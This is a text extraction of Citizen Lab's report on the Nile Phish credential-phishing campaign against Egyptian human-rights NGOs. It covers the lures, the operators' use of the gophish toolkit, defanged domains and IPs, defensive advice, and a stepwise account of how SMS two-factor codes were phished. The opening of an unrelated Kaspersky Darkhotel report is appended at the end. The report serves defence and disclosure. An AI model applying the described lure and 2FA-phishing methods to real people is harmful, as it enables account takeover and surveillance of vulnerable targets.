Background 1/14 https://citizenlab.org/2017/02/nilephish-report/ https://apnews.com/64ca55d26df3484da09172281b9c8e86/Embattled-Egyptian-NGOs-face-barrage-of-electronic-espionage https://motherboard.vice.com/en_us/article/egyptian-human-rights-activists-are-being-targeted-in-dangerous-hacking-campaign https://theintercept.com/2017/02/02/egyptian-rights-activists-are-targeted-by-sophisticated-hacking-attacks/ http://thehill.com/policy/cybersecurity/317528-egyptian-ngos-targeted-in-phishing-campaign http://egyptianstreets.com/2017/02/02/systemised-hacking-campaign-breaking-into-egypts-civil-society/ http://www.lastampa.it/2017/02/02/esteri/scoperta-una-campagna-per-spiare-le-mail-di-attivisti-egiziani-inclusi-i-consulenti-di-regeni-BuqfqBEJqlhQSRHflfSl1K/pagina.html http://www.slate.com/blogs/future_tense/2017/02/03/netizen_report_egyptian_ngos_face_rampant_phishing_attacks_researchers_say.html http://www.cairoportal.com/story/588315/D985D8B1D983D8B2-D8AAD983D986D988D984D988D8ACD98A-D983D986D8AFD98A-D98AD983D8B4D981-D8AAD988D8B1D8B7-D8A7D984D8ADD983D988D985D8A9-D8A7D984D985D8B5D8B1D98AD8A9-D981D98A-D8A7D8AED8AAD8B1D8A7D982-D8ADD8B3D8A7D8A8D8A7D8AA-D985D986D8B8D985D8A7D8AA-D988D986D8B4D8B7D8A7D8A1-D8B9D984D989-D985D988D8A7D982D8B9-D8A7D984D8AAD988D8A7D8B5D984 https://www.version2.dk/artikel/phishingmetoder-brugt-mod-egyptiske-menneskerettighedsorganisationer-1072947 http://m.alnabaa.net/628804 https://www.middleeastmonitor.com/20170202-egypt-is-using-cyber-attacks-to-target-ngos/ https://almesryoon.com/D8A7D984D8B3D98AD8A7D8B3D98AD8A9/1022833-92-D987D8ACD985D8A9-D8A7D984D983D8AAD8B1D988D986D98AD8A9-D8AAD8B3D8AAD987D8AFD981-D985D986D8B8D985D8A7D8AA-D8ADD982D988D982D98AD8A9 https://netzpolitik.org/2017/aegypten-ausgefeilte-hacking-angriffe-auf-menschenrechtler/ http://eipr.org/nilephish http://www.france24.com/en/20170113-egypt-crackdown-civil-society-ngo-amnesty-sisi http://eipr.org/en http://eipr.org/en/press/2016/03/background-case-no-173-E2809Cforeign-funding-caseE2809D https://www.theguardian.com/world/2016/dec/07/womens-rights-activist-azza-soliman-arrested-in-egypt https://citizenlab.org/wp-content/uploads/2017/02/Ponytail-Figure-1.png https://citizenlab.org/wp-content/uploads/2017/02/Ponytail-Figure-2.png https://citizenlab.org/wp-content/uploads/2017/02/Ponytail-Figure-3.png https://citizenlab.org/wp-content/uploads/2017/02/Ponytail-Series-a.png https://citizenlab.org/wp-content/uploads/2017/02/Ponytail-Series-b.png https://citizenlab.org/wp-content/uploads/2017/02/Ponytail-Series-C.png https://citizenlab.org/wp-content/uploads/2017/02/Ponytail-Figure-4.png https://citizenlab.org/wp-content/uploads/2017/02/FORPUB-2Fa-Phishing-an-example.png In recent years, political assembly, freedom of speech, independent media, and civic organizing have been increasingly constrained in Egypt.
This concerted effort has been widely called an unprecedented crackdown against civil society.
One component of this effort has been a rising tide of official and semi-official allegations of foreign interference and foreign funding against Egypts civil society organizations.
In 2011, the Egyptian Government embarked on a wide-ranging legal case charging that many civil society organizations receive foreign funding, and may be engaged in prohibited or illegal activities.
The case is widely viewed as politically-motivated, and an attempt to frustrate and block the ability of Egyptian civil society to continue its pro-democracy and human rights monitoring work.
As part of Case 173, international organizations (e.g.,the National Democratic Institute) and domestic groups (e.g.
the Egyptian Initiative for Personal Rights) have been subjected to a wide range of legal sanctions, including arrests, travel bans, asset freezes and harsh sentencing.
In 2013, 43 defendants working for international NGOs were sentenced to prison for their work, many in absentia as they had already left the country.
Now more than 5 years old, Case 173 has been marked by periods of calm, and of intense activity.
Initially primarily focused on international NGOs like the National Democratic Institute and the Konrad Adenauer Foundation, the case has grown increasingly focused on domestic Egyptian organizations.
The 37 organizations known to be accused in the case include respected civil liberties groups, pro-bono law firms, and organizations working on gender issues.
More recently, beginning in Spring 2016, travel bans and asset freezes were placed on staff members of some domestic organizations under investigation.
As a result, many who work for NGOs named in the case are concerned that their ability to travel may be restricted, and that they may face arrest, jail time or other forms of punishment.
Nile Phish, the campaign described in this report, not only targets these individuals, but uses deceptions that play directly into these fears and concerns.
The Nile Phish Campaign In late 2016, Citizen Lab was contacted by the Egyptian Initiative for Personal Rights (EIPR), whose technical team had observed a growing number of suspicious emails sent to EIPR accounts.
The messages had caught the attention of the technical team because multiple messages arrived at the same time, concerned current events, and seemed to play on emotional themes related to Case 173.
EIPRs team helped broaden the investigation to a total of seven targeted Egyptian NGOs.
All of the seven Egyptian organizations are also implicated by Case 173.
The targets include reputable and respected organizations working on political and rights issues such as freedom of expression, gender rights, and victims of torture and forced disappearances.
Six of the organizations have agreed to be named in this report and one requested to be referenced anonymously (see Table 1).
Table 1: Egyptian NGOs Known to be Targeted by Nile Phish Targeted NGO What they do Association for Freedom of Thought and Expression (AFTE) Legal aid, strategic litigation, and awareness-raising on issues of freedom of expression in Egypt.
Cairo Institute for Human Rights Studies (CIHRS) A regional NGO that promotes respect for human rights and democracy in the Arab Region.
Egyptian Commission for Rights and Freedoms (ECRF) Egyptian organization defending human rights and tracking violations.
Tracks and campaigns against forced disappearances Egyptian Initiative for Personal Rights (EIPR) Works to strengthen and protect basic rights and freedoms in Egypt through research, advocacy, and litigation.
Areas of work include civil liberties, economic and social rights, and criminal justice.
Nadeem Center for Rehabilitation of Victims of Violence (Nadeem) An anti-torture organization that focuses on assisting victims of torture with rehabilitation, including providing legal services and social support.
Nazra for Feminist Studies (Nazra) Promoting the political participation of women, as well as addressing sexual violence, the organization treats feminism and gender rights as political and social issues.
Unnamed NGO This organization has requested that it not be named In addition to the organizations, we identified a small number of individual targets in Egypt, including well-respected lawyers, journalists, and activists.
We strongly suspect that there may be other targets, and hope that the Indicators of Targeting that we provide in Appendix A can be used by systems administrators and others to seek evidence of targeting.
2/14 http://www.france24.com/en/20170113-egypt-crackdown-civil-society-ngo-amnesty-sisi https://www.amnesty.org/en/latest/campaigns/2016/12/close-case-173/ https://www.amnesty.org/en/latest/campaigns/2016/12/close-case-173/ https://www.hrw.org/news/2016/09/20/egypt-ruling-risks-eradicating-human-rights-work http://afteegypt.org/?langen http://www.cihrs.org/?langen http://www.ec-rf.org/ http://eipr.org/en http://www.alnadeem.org/en http://nazra.org/en How The Investigation Began The first Nile Phish message that we examined, sent by Nile Phish to several Egyptian NGOs on November 24, 2016, was made to appear to come from the Nadeem Center for Rehabilitation of Victims of Violence (Nadeem), and invited the NGO staff member to participate in a nonexistent panel discussing Egypts draft NGO Act, which was nearing a vote in Parliament.
The recipient was invited to visit a link to read more about the panel.
The operators used language from a real NGO statement that had been circulating, embellishing it with the fake meeting.
According to the carefully crafted fiction, the event was co-sponsored by several other NGOs, including EIPR, the Cairo Institute for Human Rights Studies (CIHRS) and Nazra for Feminist Studies (Nazra).
These NGOs were signatories of the legitimate statement.
Interestingly Nadeem, EIPR, CIHRS, and Nazra were all later targeted by the same phishing campaign.
Nov 24 Message Excerpt (Translated)The state has already taken real steps to eliminate Egyptian civil society organizations by prosecuting case no.
173/2011 on foreign funding, and several organizations and their current and former directors have been banned from travel and have had their assets frozen.
This new law, however, would pave the way for the eradication of any sort of civic action geared to development, charitable activities, and services..
Therefore, El Nadeem will organize jointly with political parties and ngos a panel to discuss the status of the civil society organizations in Egypt in the light of the new act beside the restrictions practiced by the security authorities such as travel ban and assesses free, and others restrictive to societal and development work in Egypt.
[
Link to the agenda and to register for the event] The link led to a site designed to trick the target into believing that they needed to enter their password to view the file.
After confirming that the message was a phishing attack, we began investigation in close collaboration with EIPRs technical team, which was by then observing a second wave of messages claiming to share a document that listed individuals subject to travel bans.
The recipients were the staff of Egyptian civil society organizations, many of whom suspected that they might be included on these lists.
We have now documented at least 92 messages from Nile Phish, which we link together by use of the same servers and phishing toolkit.
The majority of the emails were sent to the work accounts of the targets.
The messages have targeted at least seven organizations, as well as a number of individual activists, lawyers, and journalists.
Almost all of the targets are staff of organizations that are defendants in Case 173.
The campaign falls into two phases, which map both onto phishing style, and to different server infrastructure (See: Nile Phish Infrastructure) What is Phishing?
Phishing is a tactic to steal personal information, like passwords, through deception.
Many phishing emails often try to trick you into entering passwords and other secret codes into websites that look legitimate, but are really fake.
While phishing can be used by criminal gangs to steal bank information and for other financial crimes, phishing is also used for espionage and surveillance.
For example, the Nile Phish operation seems to be designed to gain access to email accounts and document sharing files belonging to NGOs.
Phase 1: Arrest warrants, invitations, and travel ban lists Late November- Late December 2016 In the first phase of the phishing (approximately November 24-December 26, 2016) a majority of the messages were crafted with references to the ongoing crackdown on civil society, and especially Case 173.
Typically, the messages masqueraded as document shares, primarily via Google or Dropbox, containing highly relevant or sensitive information.
The following example of a phishing email that leveraged a recent arrest of a prominent Egyptian lawyer as a lure, illustrates that the phishing was both extremely timely, and conducted by those well aware of the activities of the Egyptian government.
Specifically, it suggests that within a few hours of an arrest, the operator of the campaign was using this event as part of their phishing attack.
An Arrest Becomes Phishing On December 7, 2016 prominent Egyptian lawyer and the Director of the Center for Womens Legal Assistance Azza Soliman was arrested at her home.
Within hours, while Soliman was still being interrogated at the police station, several of her colleagues in other NGOs received an email purporting to be a Dropbox share of her arrest warrant.
(
See: Figure 1).
3/14 http://eipr.org/en/press/2016/11/political-parties-and-civil-society-organizations-reject-new-associations-law https://www.theguardian.com/world/2016/dec/07/womens-rights-activist-azza-soliman-arrested-in-egypt Figure 1.
Phishing email purporting to share Arrest Warrant Against Azza Soliman.pdf Clicking on the link leads to a Dropbox credential phishing page pre-populated with the targets username.
Figure 2: A fake Dropbox login page pre-populated with the identity of the target.
A majority of the Phase 1 messages concerned the court case, and were typically sent to targets organizational emails.
Where targets were independent activists, we also found targeting of their personal email accounts.
Example Domains from Phase 1 Phishing Theme Pretext Some Targeted NGOs Example Domains Trial related Share of travel ban list EIPR dropboxsupport.servehttp[.
]com Trial related Arrest warrant of an activist arrested on the same day Nadeem dropbox-service.serveftp[.
]com, googledriver- sign.ddns[.
]net Trial related Panel invitation to discuss the case [unnamed group] mailgooglesign.servehttp[.
]com Trial related NGO letter to the Egyptian President about the case CIHRS dropbox-sign.servehttp[.
]com 4/14 A majority of the messages were sent using Gmail accounts with names that look like legitimate services.
This approach does not hold up to close scrutiny of the senders email addresses, but also allows the message to be sent via a sender known to Gmail, and thus not flagged by Gmail as sent over an insecure connection.
Masquerading As Lookalike Email Dropbox Gmail customerserviceonlineteamgmail.com, dropbox.notficationgmail.com,dropbox.notifications.mailsgmail.com, dropbox.noreplaygmail.com drive.noreply.mailgmail.com,secure.policy.checkgmail.com (Phase 2) Phase 2: A Tactical Shift Mid-December  January 31st 2016 (ongoing) When we began systematically tracking the campaign in late November 2016 almost all of the messages we observed concerned issues related to Case 173, as well as being personalized to the recipient.
This approach continued until late December.
However, by mid-December, we began observing a growing number of generic phishing messages, mostly emphasizing account security issues.
Here is an example of such a generic, but still personalized message.
Figure 3: Fake Gmail failed login warning message These messages, while still personalized with users names, relied on a range of common phishing tactics, such as warnings of suspicious login attempts, and other account security issues.
In a few cases, the operators also included package-delivery notifications.
After December 26, we no longer observed any personalized messages.
This shift maps onto changes in server infrastructure (see: Nile Phish Infrastructure).
Example Domains from Phase 2 Phishing 5/14 https://citizenlab.org/2017/02/nilephish-report/nilephishinfrastructure Theme Pretext Some Targeted NGOs Example Domains Gmail Phishing Failed login, insecure connection, EIPR, AFTE, CIHRS, Nazra, ECRF, a prominent journalist googleverify-signin.servehttp[.
]com, googlesignin.servehttp[.
]com, security- myaccount.servehttp[.
]com It is unclear why Nile Phish operators wound-down their use of Case 173 themes as the campaign went on.
It is possible, for example, that they began to suspect that the targets were wary of such messages.
It is equally possible that they simply decided to scale back some of their efforts, and rely more heavily on the pre-built examples in the toolkit they used.
It is also possible that this represents a fluke either in how the messages were collected, or a pause on the part of the operators.
The final possibility is that Nile Phish is a component of a larger operation, and that the operators may intend to continue to use tailored social engineering for other purposes, such as delivering malware.
Artefacts: Egyptian Chat Slang While examining the credential landing pages we also found messages and comments that the Nile Phish operators had left for each other.
The writing is instantly recognizable as a form of Egyptian Arabic slang (mixing letters and characters) sometimes referred as Araby.
Highlighted text: Will remove the cookies from here and point it to our server Highlighted text: Here we will insert the default username page Highlighted text: And here too take care Nile Phish Using Open-Source Phishing Toolkit Nile Phish mounted this campaign with gophish, an open-source phishing framework written in the Go language.
The gophish framework is intended to be used defensively, as part of anti-phishing trainings.
This is the first offensive use of gophish of which we are aware.
Its developer describes it as designed for businesses and penetration testers.
It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training.
Support for capturing credentials submitted on phishing pages was added to gophish in February 2016.
6/14 https://en.wikipedia.org/wiki/Arabic_chat_alphabetEgyptian_Arabic https://github.com/gophish/gophish https://github.com/gophish/gophish/blob/master/README.md https://twitter.com/jw_sec/status/694745865198514176 The growing number of open-source and widely available phishing frameworks designed for penetration testing have made it easy to set up a phishing campaign.
While some free and hosted phishing frameworks require a degree of authentication onto a particular domain, such as the online Duo Insight, many that are self-hosted do not.
The lack of authentication, while minimizing invasiveness and protecting user privacy, is also a double-edged sword, and means that it can be abused to conduct non-consensual and illegal phishing campaigns.
Discovery and Identification Examination of the phishing infrastructure provided evidence of artefacts from a cloned git  repository, suggesting that this was a likely from a project on Github.
This led us to conclude that the operators were likely making use of an existing phishing framework.
Further investigation revealed that the domains were serving the gophish admin page on port 7777, and the scheme of the phishing URLs matched those of gophish.
Figure 4: Screenshot of gophish admin interface Gophish links have a common format, which can be used to quickly identify a link sent via the platform.
Gophish link http://[domain]/?rid[target identifier string] Contact with Gophish Citizen Lab contacted Jordan Wright, the developer of Gophish and provided examples of the links used in the campaign.
Wright provided us the following response: The links have the same structure as those sent in a Gophish campaign and there are Gophish administrative portals available on those hosts.
Gophish is designed to help administrators test their organizations exposure to phishing.
By running phishing tests against ones own organization, the hope is that members of the organization will be better at spotting and avoiding phishing emails in the future, mitigating attacks like this.
The Gophish team does not condone using the software for any purpose other than running controlled tests to measure your own organizations exposure to phishing.
While we cannot control users and prevent all misuse of the software, we will continue taking any measures possible to prevent this kind of abuse in the future.
Nile Phish Infrastructure The campaigns operators used commercial web hosting located in Europe (Choopa and AlexHost) to host the campaign.
They have shown evidence of basic operational security practices, including server compartmentation between Phase 1 and Phase 2.
Nevertheless, in what appears to have been a mistake, one domain resolved to servers from both phases at different times.
7/14 https://duo.com/resources/duo-insight https://github.com/jordan-wright https://www.choopa.com/ https://alexhost.com/ Using passive DNS analysis tools including PassiveTotal, we were able to further characterize the infrastructure, and how it was used throughout Phase 1 and Phase 2 of the campaign.
We also identified an additional 13 domains through passive DNS research, indicating that the campaign may include a range of other targets not uncovered in our investigation.
Phase 1 Infrastructure Using passive DNS we found that Phase 1 included at least six domains, all hosted on 108.61.176[.
]96.
googledrive-sign.servehttp[.
]com dropboxsupport.servehttp[.
]com googledriver-sign.ddns[.
]net dropbox-service.serveftp[.
]com dropbox-sign.servehttp[.
]com mailgooglesign.servehttp[.
]com Phase 2 Infrastructure The second phase of the campaign included at least 16 domains, hosted on IPs 104.238.191[.
]204 and 176.123.26[.
]42.
fedex-shipping.servehttp[.
]com verification-acc.servehttp[.
]com google-maps.servehttp[.
]com fedex-mail.servehttp[.
]com secure-team.servehttp[.
]com account-google.serveftp[.
]com googleverify-signin.servehttp[.
]com googlesecure-serv.servehttp[.
]com googlesignin.servehttp[.
]com security-myaccount.servehttp[.
]com myaccount.servehttp[.
]com activate-google.servehttp[.
]com googlemaps.servehttp[.
]com device-activation.servehttp[.
]com aramex-shipping.servehttp[.
]com fedex-sign.servehttp[.
]com Additional Domains Through passive DNS research, we identified 13 additional domains using the same dynamic DNS server and IP addresses.
dropbox-verfy.servehttp[.
]com fedex-s.servehttp[.
]com watchyoutube.servehttp[.
]com moi-gov.serveftp[.
]com verification-team.servehttp[.
]com securityteam-notify.servehttp[.
]com secure-alert.servehttp[.
]com quota-notification.servehttp[.
]com notification-team.servehttp[.
]com fedex-notification.servehttp[.
]com docs-mails.servehttp[.
]com restricted-videos.servehttp[.
]com dropboxnotification.servehttp[.
]com Linking the Infrastructure While the operators maintained a degree of compartmentation between domains, we found that the domain fedex-sign.servehttp[.
]com resolved to both Phase 1 and Phase 2 infrastructure.
Domain Resolution Until Infrastructure Belongs to fedex-sign.servehttp[.
]com 108.61.176[.
]96 13 December 2017 Phase 1 8/14 https://www.passivetotal.org/ 104.238.191[.
]204 19 December 2017 Phase 2 Phishing: The Royal Road to Account Compromise Reporting on targeted threats often gets attention because of the sophistication of the attackers tools, yet by volume many successful attacks use much less advanced technology.
The recent case of an iOS zero day used against UAE and Mexican civil society represents a relatively sophisticated and expensive attack vector.
While such an operation is costly and relatively difficult to detect, many operations that we have observed at the Citizen Lab use much less sophisticated technical means.
In this report we described how the Nile Phish operators used targeted, timely, and clever deceptions combined with an open-source phishing framework.
Why Do Many Threat Actors Still Use Credential Phishing?
While we cannot know Nile Phish operators reasons for choosing phishing, assuming they have access to other techniques, we can speculate that they used social engineering because it works.
A phishing campaign has a number of advantages, even for operators capable of obtaining expensive and sophisticated malware.
Indeed, even in cases where the same operators may also possess and deploy malware.
As an exercise, the following table emphasizes some of the advantages of phishing as a technique to gain access to private communications when used by a well resourced actor.
The table highlights some of the reasons why such actors may continue to use phishing.
Credential Phishing: Why it keeps being used as a surveillance tool Concern Credential Phishing Cost / Skill Zero or near-zero development cost.
Can be deployed with little or no technical skills.
Scalability High.
Easily deployed against dozens, thousands, or more targets.
Adaptability High.
Domains and emails can be quickly modified if a particular approach is not working.
Risk of burning expensive tools and methods Low.
Phishing can be conducted using free and open-source toolkits.
Discovery does not result in the compromise of special technical tools, costly exploits, or malware Attribution Debateable.
Like the use of Commercial-Off-The-Shelf (COTS) malware, phishing does not instantly point to a particular type of actor, such as a government, as many malicious actors use this technique.
Discovery of a tool like NSO Groups Pegasus or Hacking Teams Remote Control System, on the other hand, strongly implies state involvement, as they are marketed for lawful intercept purposes and the cost of procuring those tools precludes those without significant resources from acquiring them.
Moreover, finding phishing may not alert the target that a sophisticated attacker is present.
Diverse target environment Phishing does not require knowledge of a targets devices, antivirus, or other endpoint security features.
Nor does it require a means to bypass these, such as an exploit, in order to gain access to targeted communications.
Gathering relevant data Email and online accounts often contain huge troves of data which, when compromised, can quickly be siphoned out of accounts remotely.
In using phishing, Nile Phish operators are far from alone.
Citizen Lab reports have repeatedly pointed out that many operators, including those with access to more sophisticated technologies, persist in phishing and other forms of basic social engineering.
For example, in South America, the Packrat group, which was active against civil society in several countries, made use of credential phishing as part of its multi-year campaign.
Similarly, operations targeting the Tibetan diaspora have also made use of phishing, as have operations targeting the Syrian opposition, Iranian pro-democracy organizations, and many others.
Cheap Ways to Make Phishing NGOs Harder Civil society groups make widespread use of cloud email services, file sharing and collaboration tools.
These services are exceptionally helpful to organizations that do not have the resources to maintain or secure self-hosted deployments.
Many of these cloud services have powerful security features, like 2-factor authentication, that are capable of blunting the impact of straightforward credential phishing.
However, 9/14 https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ http://www.johnscottrailton.com/security-for-the-high-risk-user/ https://targetedthreats.net/ https://citizenlab.org/2015/12/packrat-report/ https://citizenlab.org/2016/03/shifting-tactics/ http://motherboard.vice.com/read/the-syrian-electronic-armys-most-dangerous-hack https://citizenlab.org/2015/08/iran_two_factor_phishing/ most of these security features are not enabled by default, whether for individual users of cloud services, or for organizations.
The absence of default-on security features predictably leads to a lower rate of use, and keeps the door open for phishing.
What is Two Factor Authentication?Two Factor Authentication has many names, like 2 Step Authentication, Login Approvals, 2FA, and so on, but they typically refer to the same thing: combining a password with a second factor that only the authorized user has.
Most commonly this is a text message sent to the users phone.
Other versions include physical tokens, code generators, authenticator apps or prompts on devices, and so on.
Click here for a list of services that support Two Factor Authentication.
From the perspective of an NGO however, several approaches are available to increase the cost of phishing, including using more secure forms of 2 Factor Authentication.
As a next-level step, organizations can also implement phishing / social engineering awareness exercises.
Increase the Cost to Phish an NGO Anti-Phishing Technique Works on Limitations 2 Factor Authentication with Authenticator Apps or Yubikeys Account security, means that even if credentials are phished a second factor is still required.
2 Factor Authentication can still be phished in some circumstances, such as tricking victims into entering codes from authenticator apps, although deceptions must be more elaborate.
Does not protect against some malware attacks that steal two factor codes from devices.
Phishing Training Human behavior, increasing the likelihood that phishing is noticed.
Can be time consuming, and requires organizational buy-in.
While free tools like Duo Insight are available, other solutions can be expensive.
Using Secure 2 Factor Authentication The most common form of 2 Factor authentication is to receive SMS messages.
Although a growing number of threat actors are experimenting with phishing 2 Factor credentials, and tampering with SMS-based authentication, including in Egypt, when implemented securely the feature is a low-cost way to dramatically increase the cost-to-phish.
One way to increase the security of 2 Factor authentication is to move away from SMS-based authentication to Authenticator Apps or, even more secure, Yubikeys.
Both Google and, most recently Facebook, now support Yubikeys for authentication.
Next Level: Behavioral Training Phishing exploits vulnerabilities that will always be present in human behavior.
When a phishing campaign like Nile Phish targets an organization, the operators do not expect that everyone will be duped.
One compromise is enough to begin siphoning private data, and to start using that data to construct more convincing phishing or malware attacks against others in an organization.
There is a growing consensus that repeated training with mock-phishing exercises, in the form of realistic phishing e-mails sent by the organizations IT staff, can be an effective way to build an organizations human firewall.
There are a number of free tools that NGOs can use to conduct these exercises, including Duo Insight.
Ironically, Gophish is another such tool, although it requires slightly more technical sophistication to implement.
Many other solutions are available, many of them commercial.
While not every organization will be able to implement behavioral training, it is a free and highly effective strategy for reducing institutional exposure to phishing attacks and social engineering.
What Technology Companies Can Do Right Now Major online companies have been reluctant to add 2 Factor Authentication as a default for new account creation.
Keeping 2 Factor an opt-in security feature, rather than opt-out means that most users will not enable it.
No exact numbers are publicly available about 2 Factor adoption rates, but if it looks like other opt-in choices (e.g.
seat belts before being made mandatory), it is unlikely to be adopted by a majority of users.
While there are trade-offs to enabling 2 factor as a default  (e.g.
costs to account recovery and friction in user experience), reports like this one make it clear that credential phishing will continue to be widely practiced by a range of threat actors against some of the most vulnerable user groups.
Conclusion: Nile Phish is yet another threat to Egypts Civil Society Egyptian NGOs have faced a sprawling legal case that is in its fifth year.
The case has resulted in arrests, travel bans, asset freezes, and 10/14 https://twofactorauth.org/ https://citizenlab.org/2015/08/iran_two_factor_phishing/ https://www.wired.com/2016/06/hey-stop-using-texts-two-factor-authentication/ https://advox.globalvoices.org/2016/04/07/two-step-verification-in-egypt-strength-or-weakness-for-online-security/ https://support.google.com/accounts/answer/1066447?hlen https://www.yubico.com/start/ https://duo.com/resources/duo-insight https://getgophish.com/ http://www.securitycurrent.com/en/writers/mike-saurbaugh/security-awareness-solutions-at-a-glance http://www.johnscottrailton.com/security-for-the-high-risk-user/ prison sentences.
Almost all of the 92 phishing emails we have identified were sent to individuals implicated in Case 173, either as named defendants, or staff of targeted NGOs.
We do not attribute Nile Phish to a sponsor in this report, but it is clear that it is yet another component of the increasingly intense pressure faced by Egyptian civil society.
By exposing the Nile Phish operation, including providing more technical indicators, we hope to help potential targets and other investigators identify and mitigate the campaign.
Evidence of 2 Factor Phishing Since publication, Citizen Lab and EIPR have been contacted by a number of additional targets.
These targets provided us with a range of evidence for additional activities by Nile Phish.
Importantly, it also appears that Nile Phish has engaged in phishing users of 2 factor authentication.
The following illustration describes this process.
11/14 Diagram explaining how Nile Phish operators phish users who have enabled 2 factor authentication.
[
Click for hi res] The phishing works in this case by tricking the victim into entering both their password and their two factor code.
First, the victim is phished by Nile Phish using a deception similar to those described in the report.
If the victim is tricked into providing their password, Nile Phish sends the victim a message with a link to a 2-factor code phishing page, then the operators type the stolen password into Gmail.
They then request SMS as an Alternative Verification method.
Gmail then sends the victim an SMS with a six digit code.
If the victim enters the SMS into the 12/14 code phishing page, the operators use the code to log into gmail to take control of the account.
Acknowledgements Very special thanks to Citizen Lab colleagues including Ron Deibert, Claudio Guarnieri, Sarah McKune, Ned Moran, Masashi Crete-Nishihata, Irene Poetranto, Adam Senft, and Amitpal Singh.
Citizen Lab also thanks T. Nebula, unnamed security researchers, TNG, and Internews.
Appendix A Indicators of Targeting Download the indicators from the Citizen Lab Github.
The operators used at least 33 domains for this phishing attack, the following table provides examples.
Theme Example Domain Google googledrive-sign.servehttp[.
]com, googledriver-sign.ddns[.
]net, mailgooglesign.servehttp[.
]com, google- maps.servehttp[.
]com, account-google.serveftp[.
]com, googleverify-signin.servehttp[.
]com, googlesecure- serv.servehttp[.
]com, googlesignin.servehttp[.
]com, activate-google.servehttp[.
]com, googlemaps.servehttp[.
]com Dropbox dropboxsupport.servehttp[.
]com, dropbox-service.serveftp[.
]com, dropbox-sign.servehttp[.
]com Generic verification-acc.servehttp[.
]com, secure-team.servehttp[.
]com, security-myaccount.servehttp[.
]com, myaccount.servehttp[.
]com, device-activation.servehttp[.
]com Shipping fedex-shipping.servehttp[.
]com, fedex-mail.servehttp[.
]com, fedex-sign.servehttp[.
]com, aramex-shipping.servehttp[.
]com Full list of Domains account-google.serveftp[.
]com aramex-shipping.servehttp[.
]com device-activation.servehttp[.
]com dropbox-service.serveftp[.
]com dropbox-sign.servehttp[.
]com dropboxsupport.servehttp[.
]com fedex-mail.servehttp[.
]com fedex-shipping.servehttp[.
]com fedex-sign.servehttp[.
]com googledriver-sign.ddns[.
]net googledrive-sign.servehttp[.
]com google-maps.servehttp[.
]com googlesecure-serv.servehttp[.
]com googlesignin.servehttp[.
]com googleverify-signin.servehttp[.
]com mailgooglesign.servehttp[.
]com myaccount.servehttp[.
]com secure-team.servehttp[.
]com security-myaccount.servehttp[.
]com verification-acc.servehttp[.
]com dropbox-verfy.servehttp[.
]com fedex-s.servehttp[.
]com watchyoutube.servehttp[.
]com verification-team.servehttp[.
]com securityteam-notify.servehttp[.
]com secure-alert.servehttp[.
]com quota-notification.servehttp[.
]com notification-team.servehttp[.
]com fedex-notification.servehttp[.
]com docs-mails.servehttp[.
]com restricted-videos.servehttp[.
]com dropboxnotification.servehttp[.
]com 13/14 https://github.com/citizenlab/malware-indicators/tree/master/201702_NilePhish moi-gov.serveftp[.
]com activate-google.servehttp[.
]com googlemaps.servehttp[.
]com IPs 108.61.176[.
]96 104.238.191[.
]204 176.123.26[.
]42 Emails secure.policy.check[]gmail.com aramex.shipment[]gmail.com fedex_tracking[]outlook.sa mails.acc.noreply[]gmail.com fedex.noreply[]gmail.com customerserviceonlineteam[]gmail.com fedexcustomers.service[]gmail.com elnadeem.org[]gmail.com dropbox.noreplay[]gmail.com mails.noreply.verify[]gmail.com fedex.mails.shipping[]gmail.com dropbox.notifications.mails[]gmail.com dropbox.notfication[]gmail.com drive.noreply.mail[]gmail.com 14/14 [updated] Nile Phish: Large-Scale Phishing Campaign Targeting Egyptian Civil Society Update 2/23/2017 Key Findings Summary Background The Nile PhishCampaign How The Investigation Began Phase 1: Arrest warrants, invitations, and travel ban lists An Arrest Becomes Phishing Phase 2: A Tactical Shift Artefacts: Egyptian Chat Slang Nile Phish Using Open-Source Phishing Toolkit Discovery and Identification Contact with Gophish Nile Phish Infrastructure Phase 1 Infrastructure Phase 2 Infrastructure Additional Domains Linking the Infrastructure Phishing: The Royal Road to Account Compromise Why Do Many Threat Actors Still Use Credential Phishing?
Credential Phishing: Why it keeps being used as a surveillance tool Cheap Ways to Make Phishing NGOs Harder Using Secure 2 Factor Authentication Next Level: Behavioral Training WhatTechnology Companies Can Do Right Now Conclusion: Nile Phish is yet another threat to Egypts Civil Society Evidence of 2 Factor Phishing Acknowledgements Appendix A Indicators of Targeting Full list of Domains IPs Emails
Global Research and Analysis Team Version 1.1 November, 2014 THE DARKHOTEL APT A STORY OF UNUSUAL HOSPITALITY 2 TLP: Green For any inquiries, please contact intelreportskaspersky.com Contents Executive Summary ................................................................................................3 Introduction ............................................................................................................4 Analysis ...................................................................................................................5 Delivery - Hotels/Business Centers and Indiscriminate Spread ....................5 Hotels and Business Centers Spread ........................................................5 Abusing Network Infrastructure ..................................................................6 Indiscriminate Spread .................................................................................7 Darkhotel Spear-phishing Campaigns .......................................................8 Recent 0-day Deployment ..........................................................................9 Digital Certificates and Delegitimizing Certificate Authority Trust ..................9 Cracking the keys ..................................................................................... 12 Other Tapaoux Certificates ....................................................................... 12 Enhanced Keyloggers and Development ..................................................... 13 Keylogger Code ......................................................................................... 13 Interesting Malware Components ...................................................................... 15 Small Downloader.......................................................................................... 15 Information Stealer ........................................................................................ 16 Trojan.
Win32.Karba.e .................................................................................... 17 Trojan-Dropper  Injector (infected legitimate files) .................................... 17 Selective Infector ........................................................................................... 18 Campaign Codes ............................................................................................ 18 Infrastructure and Victims .................................................................................. 19 Sinkhole Domains .......................................................................................... 19 Victim Locations - KSN and Sinkhole Data ................................................... 20 KSN Data .................................................................................................. 20 Sinkhole Data ........................................................................................... 22 Available ddrlog Victim Data .......................................................................... 22 C2 Communications and Structure .............................................................. 24 Victim Management ....................................................................................... 25 Researcher Activity ................................................................................... 26 Conclusions ......................................................................................................... 27 mailto:intelreports40kaspersky.com?subject 3 TLP: Green For any inquiries, please contact intelreportskaspersky.com Executive Summary The Darkhotel APT is a threat actor possessing a seemingly inconsistent and con- tradictory set of characteristics, some advanced and some fairly rudimentary.
In- hospitably operating for almost a decade, the threat actor is currently active.
The actors offensive activity can be tied to specific hotel and business center Wi-Fi and physical connections, some of it is also tied to p2p/file sharing networks, and they have been known to spear-phish targets as well.
Darkhotel tools are detected as Tapaoux, Pioneer, Karba, and Nemim, among other names.
